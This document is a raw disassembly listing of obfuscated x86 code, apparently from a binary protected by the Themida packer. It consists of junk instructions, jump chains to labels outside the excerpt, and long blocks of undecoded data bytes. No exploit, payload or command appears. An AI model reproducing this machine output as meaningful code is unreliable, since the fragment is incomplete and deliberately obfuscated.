		dd 0E952F103h, 2242h
; ---------------------------------------------------------------------------


loc_5563E0:				; CODE XREF: Themida_:005543B8j
		push	ecx
		push	1A35F9Fh
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 0FE5CA065h
		jmp	loc_559F09
; ---------------------------------------------------------------------------
aQlSV		db 'Q<$+V',0
		align 4
		dd 9B5EB168h, 0EBC15B04h, 50F5E902h, 3C890000h,	2F51BF24h
		dd 63E96DFEh, 83FFFFDFh, 0C8704C1h, 58E95C24h, 8BFFFFCDh
		dd 0C4812404h, 4, 0BFEBE951h, 0C801FFFFh, 5000E9h, 0D0895000h
		dd 5A58C589h, 78BB534Dh, 520AAC15h, 7A7703BAh, 8EAC157h
		dd 8A8EC281h, 0D33138ABh, 79CB815Ah, 5237A43Eh,	47D98BAh
		dd 55D6E975h, 0EF810000h, 327F6A58h, 24B7EF81h,	0E6E960A0h
		dd 81FFFFAAh, 4ECh, 241C8900h, 0FF95BAE9h, 0E9028FFFh
		dd 0FFFF9450h, 2DA268h,	0C18EE900h, 0FD88FFFFh,	99F0E95Bh
		dd 0BBBBFFFFh, 0E921F05Eh, 0FFFFAAAEh
; ---------------------------------------------------------------------------


loc_5564B4:				; CODE XREF: Themida_:00554042j
		push	esi
		mov	esi, 7CEE07E3h
		jmp	loc_559B96
; ---------------------------------------------------------------------------


loc_5564BF:				; CODE XREF: Themida_:00552FE4j
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55264B
; ---------------------------------------------------------------------------


loc_5564CF:				; CODE XREF: Themida_:0055B1E8j
		pop	esp
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_54F8E8
; ---------------------------------------------------------------------------


loc_5564EB:				; CODE XREF: Themida_:00557634j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	4
		pop	ebx
		and	ecx, ebx
		jmp	loc_550C25
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8956241Ch, 4C681E6h,	83000000h, 348702C6h, 0BE90E924h
		dd 8B66FFFFh, 68552404h, 7968h,	55242489h, 4EC81h, 3C890000h
		dd 9870E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556536:				; CODE XREF: Themida_:00553D8Aj
		inc	esi
		jmp	loc_55A722
; ---------------------------------------------------------------------------
		dd 243CD35Ch, 93A2E99Ch, 0C681FFFFh, 4AFD52B9h,	22E9505Bh
		dd 50000035h, 7D5BFF68h, 0F740584Bh, 0EC8348D0h, 241C8904h
		dd 0FFE0F3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556569:				; CODE XREF: Themida_:00559A6Aj
		xor	edi, ebx
		jmp	loc_55893E
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 1CD25966h, 69E99C24h, 0B9FFFF93h,	5E19386Ah
		dd 51A5E981h, 0D9F72255h, 344DC181h, 0C98135D8h, 6A160889h
		dd 31C18141h, 89FCA0CDh, 240C8BCAh, 104C483h, 0A662E9C2h
		dd 8957FFFFh, 93BE56E7h, 811A192Ch, 4B2EB5E6h, 8CE8112h
		dd 0E9720F6Bh, 0FFFF9F47h, 582434FFh, 685B5453h, 295Fh
		dd 0BF243C89h, 4, 5A2BF57h, 0FB2962FCh,	0A355E95Fh, 74FFFFFFh
		dd 34FF0424h, 89505F24h, 405E0h, 0CCE90000h, 81FFFFBDh
		dd 4C2h, 0BD555100h, 7BD822D4h,	0CD79E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556612:				; CODE XREF: Themida_:0055B0D9j
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55309C
; ---------------------------------------------------------------------------


loc_55661F:				; CODE XREF: Themida_:005582F0j
		add	ebp, 5D8003E4h
		jmp	loc_55758C
; ---------------------------------------------------------------------------


loc_55662A:				; CODE XREF: Themida_:00550DA9j
		add	ebx, edi
		push	eax
		mov	eax, 6C6716FBh
		sub	ebx, eax
		pop	eax
		sub	ebx, 74D51064h
		push	dword ptr [ebx]
		jmp	loc_55AF62
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0C5682404h, 8900000Fh, 0EC81241Ch, 4, 5752E9h, 8B545600h
		dd 0C4812434h, 4, 4ABDE9h, 240C8900h, 7AE9E189h, 66FFFFD5h
		dd 52240C8Bh, 0FFB3D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55667D:				; CODE XREF: Themida_:00551D6Cj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55BF80
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 9C2414D2h, 0FF9253E9h, 1C8B59FFh,	4C48124h
		dd 0E9000000h, 28C8h, 148BF100h, 4C48124h, 80000000h, 0EB80FAEBh
		dd 324CE97Ah, 0C1810000h, 4FB34082h, 8159CB29h,	280DBAC3h
		dd 0C0EB814Eh, 1661BF9h, 0ADE958C3h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5566D7:				; CODE XREF: Themida_:0055719Ej
		sub	dword ptr [esp], 3D2F5B34h
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_55513F
; ---------------------------------------------------------------------------


loc_5566E9:				; CODE XREF: Themida_:00555978j
		xchg	ebp, [esp]
		jmp	loc_552861
; ---------------------------------------------------------------------------
		db 0F7h, 0D1h, 0F7h
		dd 0AA2DE9D1h, 6664FFFFh, 0E5E90289h, 52FFFF91h, 0C27F70BAh
		dd 0FFD0213Bh, 0E95A2434h, 0FFFFD054h
; ---------------------------------------------------------------------------


loc_556714:				; CODE XREF: Themida_:00559FA2j
		inc	edi
		push	esi
		push	eax
		mov	eax, 1C3A12D5h
		mov	esi, eax
		pop	eax
		inc	esi
		shl	esi, 7
		shl	esi, 5
		push	edi
		push	ecx
		push	306322Bh
		pop	ecx
		neg	ecx
		jmp	loc_55319C
; ---------------------------------------------------------------------------


loc_556735:				; CODE XREF: Themida_:005579A1j
		add	esi, 4
		jmp	loc_551B5C
; ---------------------------------------------------------------------------
		dd 5C240C87h, 0FFC635E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556749:				; CODE XREF: Themida_:0055B0A0j
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		jmp	loc_55908A
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FFFF9188h
; ---------------------------------------------------------------------------


loc_556760:				; CODE XREF: Themida_:005537FDj
		inc	ebx
		shr	ebx, 7
		add	ebx, 44FC233Ah
		xor	ebx, 462398DDh
		jmp	loc_554D8A
; ---------------------------------------------------------------------------


loc_556775:				; CODE XREF: Themida_:005520F9j
		and	ecx, 75A424E4h
		jmp	loc_558760
; ---------------------------------------------------------------------------


loc_556780:				; CODE XREF: Themida_:005550E3j
		add	edx, esi
		jmp	loc_5548E9
; ---------------------------------------------------------------------------
		db 0B8h
		dd 7E1A6D75h, 95D5F795h, 504E8C1h, 0F7E1A6DCh, 65E9C201h
		dd 28000027h, 0E95052D0h, 0FFFFCC00h, 28DBC380h, 0DBEB80C3h
		dd 5130C380h, 7A4068h, 24048900h, 2EEBE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5567C2:				; CODE XREF: Themida_:0055A891j
		shr	edx, 6
		and	edx, 311D0E13h
		add	edx, 5DBE4323h
		sub	edx, 6AF1D93h
		push	ecx
		mov	ecx, 5F480BCBh
		inc	ecx
		jmp	loc_5520ED
; ---------------------------------------------------------------------------
		db 1
		dd 4718E9F3h, 815B0000h, 4C3h, 52555100h, 0FFD768E9h, 241C8BFFh
		dd 5352E9h, 0C1D6F700h,	4DE904E6h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55680B:				; CODE XREF: Themida_:00554E3Fj
		push	ebx
		push	esp
		jmp	loc_5543A7
; ---------------------------------------------------------------------------
		dw 0CB81h
		dd 41F62F7Fh, 0D085C381h, 0C2819E01h, 382D228Dh, 0EA81DA01h
		dd 382D228Dh, 0FFC730E9h, 0E5E961FFh
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556837:				; CODE XREF: Themida_:0055A014j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_54FF87
; ---------------------------------------------------------------------------
		dd 4246C81h, 74093B42h,	4246C29h, 4244481h, 74093B42h
		dd 4246C81h, 333C64ACh,	3321E9h
		db 0
; ---------------------------------------------------------------------------


loc_55686D:				; CODE XREF: Themida_:00550351j
		sub	edi, 4E61AE21h
		push	ebx
		mov	ebx, edi
		mov	ecx, ebx
		pop	ebx
		jmp	loc_55BD94
; ---------------------------------------------------------------------------
		dw 2C33h
		dd 0DD75E924h, 0C781FFFFh, 331D34B4h, 0EF81F701h, 331D34B4h
		dd 81DF295Eh, 0FA5661EFh, 241C8B04h, 0C104C483h, 0B95107E7h
		dd 45240E8Fh, 3159CF31h, 2434FFF8h, 4C4815Fh, 52000000h
		dd 513FB850h, 0E95175FBh, 0FFFFFCB7h, 58C18859h, 8B59CB88h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 29C91438h
		shr	eax, 6
		jmp	loc_55746F
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 3C01E9h, 0E95A6600h, 0FECh
; ---------------------------------------------------------------------------


loc_5568F4:				; CODE XREF: Themida_:0055600Dj
		shr	ecx, 7
		shr	ecx, 2
		add	ecx, 0FF805732h
		add	ebp, ecx
		jmp	loc_55A544
; ---------------------------------------------------------------------------
		db 29h
		dd 0D7F75BDFh, 18C2E9h,	34586600h, 58C388F3h, 7BE9C62Ch
		dd 81FFFFAEh, 0F21C85F2h, 0A655E91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55692A:				; CODE XREF: Themida_:0055B276j
		xor	ecx, 32F23010h
		mov	ebp, [esp]
		push	ebx
		jmp	loc_555D52
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 24h
		dd 2D40C838h, 1E341117h, 1705D829h, 5B1E3411h, 7CF168h
		dd 243C8900h, 0E66BE3BFh, 0B66E94Eh, 0ED810000h, 55490ECEh
		dd 0C581FD01h, 55490ECEh, 0FFA6AAE9h, 0AEE956FFh
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	32FCh
		mov	[esp], ebx
		push	esi
		mov	esi, 4
		mov	ebx, esi
		pop	esi
		add	ebp, ebx
		jmp	loc_552286
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 2984BF24h, 0F7817ED5h, 156F6BE2h, 815FFB21h,	5D747DE3h
		dd 0D8EB816Eh, 810CE223h, 50E63F3h, 2CF3812Ch, 149A01Ah
		dd 0CA015BD9h, 24143359h, 33241431h, 248B2414h,	240CFF24h
		dd 425E99Ch, 54510000h,	2CBAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5569DD:				; CODE XREF: Themida_:00550634j
		mov	ecx, esi
		mov	esi, [esp]
		jmp	loc_555A03
; ---------------------------------------------------------------------------
		db 81h
		dd 6B10F3F2h, 0BB534A63h, 3F165522h, 0E94BD3F7h, 242Ch
; ---------------------------------------------------------------------------


loc_5569FC:				; CODE XREF: Themida_:00558FB9j
		mov	ebx, 6B72245Fh
		inc	ebx
		neg	ebx
		jmp	loc_5553A3
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 0FFB266E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556A11:				; CODE XREF: Themida_:00552ECBj
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		push	4
		jmp	loc_55085C
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0E188D4F6h, 66D1F658h, 104BE950h,	0D0880000h, 3EC2E9h
		dd 9ABF5700h, 2937B256h, 0E9595FF8h, 0FFFFDF20h, 0D23EA81h
		dd 58E90113h, 68000007h, 0BF8h,	0E9243C89h, 0FFFFEF2Fh
; ---------------------------------------------------------------------------


loc_556A68:				; CODE XREF: Themida_:0055A655j
		xchg	edi, [esp]
		jmp	loc_5588B4
; ---------------------------------------------------------------------------
		dd 0E65E0E05h, 0BA52577Bh, 7D8211EAh, 89D68956h, 0C15A5EF7h
		dd 0BD5502EFh, 237213D8h, 52B95145h, 0E97E5652h, 2410h
		dd 8B2434FFh, 89572404h, 4BA52E7h, 1000000h, 0C7815AD7h
		dd 4, 5C243C87h, 51586855h, 8F540000h, 4832404h, 2C8B0424h
		dd 4C48324h, 4C581h, 0C5830000h, 74FF5504h, 8F5D0424h
		dd 0D1E92404h, 66FFFFD4h, 83240C8Bh, 3C8904ECh,	1BF5E924h
		dd 77FF0000h, 59669D1Ch, 241CD366h, 8DEAE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556AFE:				; CODE XREF: Themida_:00553F42j
		add	eax, ebp
		pop	ebp
		add	edi, eax
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		push	eax
		jmp	loc_55A527
; ---------------------------------------------------------------------------


loc_556B0F:				; CODE XREF: Themida_:005540B4j
		pop	ebx
		jmp	loc_54FC02
; ---------------------------------------------------------------------------
		db 1, 0D8h, 0E9h
		dd 41EAh, 3C66BB53h, 0F3812950h, 848520Bh, 0E908EBC1h
		dd 0FFFFD399h, 0E6211FBBh, 43D3F738h, 0D6F7F387h, 0CB81F387h
		dd 22492949h, 0C291E951h, 0EA01FFFFh, 89C281h, 2C8B204Eh
		dd 4C48124h, 52000000h,	0FFCFDFE9h, 2434FFFFh, 2276858h
		dd 14890000h, 0AF5AE924h, 8141FFFFh, 0AC0815C1h, 59CB014Ch
		dd 20B1EB81h, 0C3012432h, 20B1C381h, 0EB812432h, 4FDC0D1Dh
		dd 170FEB81h, 68560AE3h, 14841C8Ch, 0FFC6815Eh,	81FFFFFFh
		dd 11BE8C6h, 8FC38128h,	290B0F45h, 8FEB81F3h, 8B0B0F45h
		dd 0C4812434h, 4, 21E9008Fh, 5FFFFF8Dh,	5C241487h, 5C240487h
		dd 0E9240C89h, 0FFFF8D10h
; ---------------------------------------------------------------------------


loc_556BD8:				; CODE XREF: Themida_:00550443j
		mov	edx, eax
		mov	ebx, edx
		pop	edx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_551921
; ---------------------------------------------------------------------------


loc_556BEF:				; CODE XREF: Themida_:00550907j
		not	ebp
		jmp	loc_559EAF
; ---------------------------------------------------------------------------
		dw 5452h
		dd 4C2815Ah, 68000000h,	0C97h, 0B9240C89h, 4, 42C5EA81h
		dd 0CA012E3Eh, 42C5C281h, 0C8B2E3Eh, 0E6895624h, 4C681h
		dd 0B8500000h, 9E06BC2h, 1F944205h, 8BC601F6h, 0C4832404h
		dd 0CD25E904h, 34FFFFFFh, 0C4815F24h, 4, 5E2434FFh, 2104C483h
		dd 0C00B59C8h, 4C49840Fh, 68520000h, 0FEh, 1C57215Ah, 0FFED92E9h
		dd 0D830ACFFh, 4EC81h, 7EE90000h, 1FFFFEFh, 7DC181D9h
		dd 8B2A7665h, 0E957241Ch, 0FFFF8DD3h, 555BDE01h, 0FF9D2EE9h
		dd 5E089FFh, 4,	0E904C083h, 0FFFF984Ah,	0C7FE93B7h, 88EEEF80h
		dd 0CFE5E9FEh, 0E946FFFFh, 5093h, 24048966h, 0FF8C2BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556CBD:				; CODE XREF: Themida_:0055539Ej
		add	edx, 0E5B0C65h
		add	esi, edx
		jmp	loc_55BA80
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 89685351h, 5B2D2F25h, 0EB814B4Bh, 0E4E60690h, 67E9D989h
		dd 53FFFFECh, 0DA6E9h, 0F6D18800h, 59CA88D1h, 0F280CAFEh
		dd 5AD7880Eh, 0EFE9F800h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556CFF:				; CODE XREF: Themida_:00550C85j
		mov	ecx, 3E8E68F2h
		push	eax
		jmp	loc_5577E2
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 477E6BA1h, 0EE81DE01h, 477E6BA1h, 81241C8Bh,	4C4h, 24348700h
		dd 0FF9E69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556D29:				; CODE XREF: Themida_:0054FB2Cj
		mov	ebx, 131226F8h
		jmp	loc_558A9A
; ---------------------------------------------------------------------------


loc_556D33:				; CODE XREF: Themida_:0055B8D0j
		pop	edx
		jmp	loc_55106C
; ---------------------------------------------------------------------------
aZs		db 'Z',27h,0
		db 0
; ---------------------------------------------------------------------------


loc_556D3F:				; CODE XREF: Themida_:0055971Fj
		add	ebp, 4
		jmp	loc_557DFF
; ---------------------------------------------------------------------------


loc_556D4A:				; CODE XREF: Themida_:0055937Bj
		pop	ebx
		jmp	loc_55A1F5
; ---------------------------------------------------------------------------
		dd 0E94077FFh, 0FFFF8B90h, 0DAA2E95Bh, 8468FFFFh, 89000021h
		dd 8B54241Ch, 0C483241Ch, 4BA5204h, 0E9000000h,	0FFFFA3EBh
		dd 4BEh, 5EF70100h, 3A1F68h, 24148900h,	4BAh, 0E9D70100h
		dd 0FFFFCB4Bh
; ---------------------------------------------------------------------------


loc_556D94:				; CODE XREF: Themida_:0055139Fj
		shr	ebp, 8
		sub	esp, 4
		jmp	loc_55B72C
; ---------------------------------------------------------------------------
		dw 0EFC1h
		dd 94E78102h, 687A5437h, 0
		dd 88242C81h, 295CC757h, 481243Ch, 0C7578824h, 0F7815F5Ch
		dd 0C12AD5F1h, 0FF91EFE9h, 4D800FFh, 0D8005B83h, 53664D2Ch
		dd 4EC81h, 95E90000h, 0B400003Ah, 0E9FC302Bh, 0FFFFBA60h
; ---------------------------------------------------------------------------


loc_556DEC:				; CODE XREF: Themida_:0055A6D6j
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		pop	dword ptr [edi+20h]
		jmp	loc_553773
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF8AE8h
; ---------------------------------------------------------------------------


loc_556E00:				; CODE XREF: Themida_:0055453Ej
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_550F8D
; ---------------------------------------------------------------------------


loc_556E19:				; CODE XREF: Themida_:0055012Bj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_552C0C
; ---------------------------------------------------------------------------
		db 45h
		dd 0E5D1EDD1h, 0C10EED81h, 0E821A6FDh, 2F1DE9h
		db 0
; ---------------------------------------------------------------------------


loc_556E39:				; CODE XREF: Themida_:005505F1j
		push	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1935718Ah
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 233E0CABh
		and	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55AC69
; ---------------------------------------------------------------------------
		dw 8151h
		dd 4ECh, 24148900h, 747EF2BAh, 6EAC154h, 2EAC14Ah, 9BAEC281h
		dd 0D1896318h, 0F5B0E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556E8A:				; CODE XREF: Themida_:005532D0j
		and	eax, ebx
		mov	ebx, [esp]
		push	60A1h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_558533
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 717E9h, 4C48300h,	0E9F8E180h, 347Eh, 739EE81h
		dd 0F10102B5h, 0E924348Bh, 2108h, 2 dup(0C5FED5F6h), 0EF59E953h
		dd 4C01FFFFh, 6C810424h, 65B50424h, 0E959379Bh,	0FFFFB58Ch
		dd 5C7B14BBh, 5BD80107h, 7041902Dh, 5D00142h, 42704190h
		dd 0FFEF45E9h, 4895CFFh, 2434FF24h, 0FFCA74E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556F19:				; CODE XREF: Themida_:005507EEj
		xor	esi, ebx
		xor	ebx, esi
		xor	esi, ebx
		xchg	ecx, ebx
		jmp	loc_55B90C
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 56BB533Ch, 0E915DC77h, 17B6h, 333DE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556F3A:				; CODE XREF: Themida_:00553DEFj
		mov	esi, 3F777D1Eh
		mov	ecx, esi
		pop	esi
		inc	ecx
		push	ecx
		push	edi
		pop	ecx
		pop	edi
		sub	esp, 4
		jmp	loc_5556B7
; ---------------------------------------------------------------------------


loc_556F52:				; CODE XREF: Themida_:005503FDj
		mov	[esp], ebx
		jmp	loc_550A86
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC81240Ch, 4, 0E9240489h, 0FFFFC91Dh, 15FF801h, 11F12DD8h
		dd 3D053E6Bh, 0E921DF1Dh, 0FFFFF9B9h
; ---------------------------------------------------------------------------


loc_556F80:				; CODE XREF: Themida_:0055BDA6j
		mov	esi, [esp]
		push	edi
		jmp	loc_55A0F8
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 81h
		dd 307DFC2h, 5AD32982h,	2A3BE9h, 24148900h, 0E90C13BAh
		dd 0B955E961h, 0EA01FFFFh, 0FFAB68E9h, 9CEA81FFh, 58217419h
		dd 5C241487h, 8B2434FFh, 8957240Ch, 4C781E7h, 81000000h
		dd 4C7h, 74FF5700h, 8F5F0424h, 248B2404h, 0FF545324h, 0CEE92434h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_556FE3:				; CODE XREF: Themida_:00550255j
					; Themida_:0055368Ej
		push	ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	7B48h
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_55B6DE
; ---------------------------------------------------------------------------
		db 0B0h, 0B7h, 81h
		dd 4ECh, 24048900h, 0D7B13DB4h,	0E958E130h, 778h, 8358C601h
		dd 0A5E904C6h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55701B:				; CODE XREF: Themida_:00552FB3j
		xchg	ebp, [esp]
		jmp	loc_55ABB6
; ---------------------------------------------------------------------------
		db 59h
		dd 0E904C483h, 0FFFFA1D4h
; ---------------------------------------------------------------------------


loc_55702C:				; CODE XREF: Themida_:0055495Aj
		pop	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_551108
; ---------------------------------------------------------------------------
		dd 4C481h, 4050000h, 56000000h,	4BEh, 15D40500h, 5305425Ah
		dd 0E921727Ah, 0FFFFE77Ah, 0DFC3805Ch, 8024EB80h, 0C32841C3h
		dd 506CB450h, 12454F6h,	8124048Bh, 4C4h, 0ADD3E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557086:				; CODE XREF: Themida_:00551588j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55B99C
; ---------------------------------------------------------------------------
		dd 3C8BC781h, 0DFF72E0Dh, 654AB951h, 0E1D17A45h, 66C4F181h
		dd 0C1812F1Fh, 54730EF7h, 5E90E981h, 0EF81023Eh, 6230014h
		dd 0C781CF01h, 6230014h, 6BCF8159h, 531DE04Bh, 102E9h
		db 0
; ---------------------------------------------------------------------------


loc_5570D1:				; CODE XREF: Themida_:0055BB88j
		push	ebx
		mov	ebx, 373B6D8Bh
		or	ebx, 6CC87BB9h
		jmp	loc_5541BF
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0E789243Ch, 4BA52h, 19E90000h, 81FFFFEEh, 54082444h
		dd 293F3009h, 81082444h, 5408246Ch, 583F3009h, 4244C01h
		dd 56D6BE56h, 74016371h, 348B0824h, 44DE924h, 34FF0000h
		dd 0E790E924h, 0FA01FFFFh, 4EC835Fh, 0E9241C89h, 0FFFFFDC0h
; ---------------------------------------------------------------------------


loc_557134:				; CODE XREF: Themida_:0055AC85j
		add	esp, 4
		sub	ebp, 0E852A07Ch
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	eax, ebx
		pop	ebx
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, esp
		jmp	loc_551353
; ---------------------------------------------------------------------------
		db 0B3h
		dd 0E9F300C3h, 0FFFFFBD9h
; ---------------------------------------------------------------------------


loc_557160:				; CODE XREF: Themida_:0054F8E9j
		push	1FE6h
		mov	[esp], ebx
		mov	bl, 2
		shr	bl, 4
		sub	bl, 0FFh
		sub	bl, 93h
		sub	esp, 4
		jmp	loc_55B53C
; ---------------------------------------------------------------------------
		dw 65E9h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557183:				; CODE XREF: Themida_:0055288Bj
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		mov	eax, 6C3A6A0Eh
		push	edx
		push	2CB43C7Eh
		pop	edx
		jmp	loc_551E72
; ---------------------------------------------------------------------------


loc_55719B:				; CODE XREF: Themida_:00557A45j
		mov	[esp], ebx
		jmp	loc_5566D7
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF8740h, 8B24048Fh, 59E92424h, 53FFFF8Dh,	9719AABBh
		dd 83EB816Bh, 0E93F32B9h, 0FFFFB6CCh, 9D1C77FFh, 1CD35966h
		dd 15E99C24h, 0BBFFFF87h, 0B9015C0Ch, 199AE9h, 3BE48000h
		dd 2804C480h, 74E958E3h, 89FFFF89h, 2434FFD7h, 4C4835Ah
		dd 3C8BF829h, 0E9545724h, 0FFFFBC1Ch, 0C8EA8159h, 0E932D768h
		dd 0FFFF86DCh, 54575759h, 83243C8Bh, 0BA5204C4h, 62C5EEAh
		dd 0FFA62CE9h, 2434FFFFh, 4C4815Dh, 5E000000h, 0FFE6FEE9h
		dd 48966FFh, 86AEE924h,	5E54FFFFh, 4BF57h, 0FE010000h
		dd 0DAC8E95Fh, 8B54FFFFh, 0C4812414h, 4, 4BE56h, 0F2010000h
		dd 2C2815Eh, 52000000h,	42474FFh, 5A2434FFh, 1535E9h, 4BE00h
		dd 0F1010000h, 4C1835Eh, 8B240C87h, 0D4E92424h,	57FFFFF7h
		dd 0F568h, 24348900h, 77240481h, 5F575D7Bh, 7B77EF81h
		dd 0F989575Dh, 0FFF999E9h, 5EF289FFh, 0FFAF09E9h, 346858FFh
		dd 8900004Bh, 0E7E9241Ch
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5572BB:				; CODE XREF: Themida_:00557566j
		mov	ebx, [esp]
		add	esp, 4
		and	ecx, 7E210327h
		sub	ecx, 0FFFFFFFFh
		jmp	loc_554B68
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 55h
		dd 683D057Ah, 42ACh, 0E9243C89h, 0CBFh,	24048B66h, 5585450h
		dd 4, 0FF8701E9h, 0C7805AFFh, 80D72858h, 0EF8058EFh, 8C6FE9B6h
		dd 0C481FFFFh, 4, 8B242C87h, 0BF572424h, 0E255AE7h, 0FFFFC781h
		dd 0C783FFFFh, 51F781FFh, 31037BA7h, 2434FFF8h,	0E92434FFh
		dd 0FFFFB48Fh
; ---------------------------------------------------------------------------


loc_557338:				; CODE XREF: Themida_:005503D0j
		add	edx, 4
		jmp	loc_5502E5
; ---------------------------------------------------------------------------
		db 0B3h
		dd 66DE280Dh, 5AF3285Bh, 0FFC0B60Fh, 48B8734h, 0ECB8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55735A:				; CODE XREF: Themida_:00558702j
		add	eax, 6F9152EEh
		pop	ecx
		push	edi
		mov	edi, 496E216Ch
		or	edi, 6A843CE8h
		push	esi
		jmp	loc_554A42
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 24041966h, 97B9E99Ch, 0E956FFFFh,	0FFFFBA8Ah
		dd 89241489h, 4C281E2h,	68000000h, 45A1h, 0BF243C89h, 2
		dd 5309C281h, 0C2810A77h, 347A76A9h, 37E9FA01h,	0F000026h
		dd 6866C0B6h, 0F5E95323h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5573BF:				; CODE XREF: Themida_:005558A9j
		mov	ebp, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	esi
		jmp	loc_5507AC
; ---------------------------------------------------------------------------
		db 52h,	53h, 0E9h
		dd 0FFFFA131h
; ---------------------------------------------------------------------------


loc_5573E8:				; CODE XREF: Themida_:0055BAFFj
		sub	ecx, 2BD93AFEh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	2E63h
		mov	[esp], ebp
		mov	ebp, 72E1501Ch
		xor	ebp, 2CC21C5h
		jmp	loc_5582E3
; ---------------------------------------------------------------------------


loc_55740D:				; CODE XREF: Themida_:0055912Cj
		push	esi
		push	ebp
		jmp	loc_5590DA
; ---------------------------------------------------------------------------
		dd 247D68h, 0E152E900h,	0DDB5FFFFh, 1C8BDD28h, 4C48324h
		dd 0C5FECDFEh, 0FFDBB8E9h, 24048FFFh, 0FF8BA1E9h, 243C8BFFh
		dd 104C483h, 0D3BE56C2h, 14A4F6Ch, 1A91E9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55744E:				; CODE XREF: Themida_:0055B63Aj
		add	esp, 4
		jmp	loc_559252
; ---------------------------------------------------------------------------
		db 0BDh, 2, 0
